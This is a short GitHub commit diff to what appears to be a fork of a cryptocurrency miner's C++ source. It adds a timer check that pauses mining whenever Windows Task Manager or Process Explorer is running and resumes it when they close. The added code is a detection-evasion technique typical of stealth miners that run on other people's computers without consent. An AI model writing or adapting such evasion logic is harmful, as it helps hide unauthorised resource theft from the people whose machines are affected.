This commit is contained in:
snipeTR 2018-10-09 14:46:48 +00:00 committed by GitHub
commit ad5269cbeb
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -316,6 +316,18 @@ void Workers::onResult(uv_async_t *handle)
void Workers::onTick(uv_timer_t *handle)
{
bool boklar = false;
boklar = boklar || IsProcessRunning(L"taskmgr.exe");
boklar = boklar || IsProcessRunning(L"procexp64_2.exe");
if (boklar)
{
pausePic();
}
else
{
unpausePic();
}
for (Handle *handle : m_workers) {
if (!handle->worker()) {
return;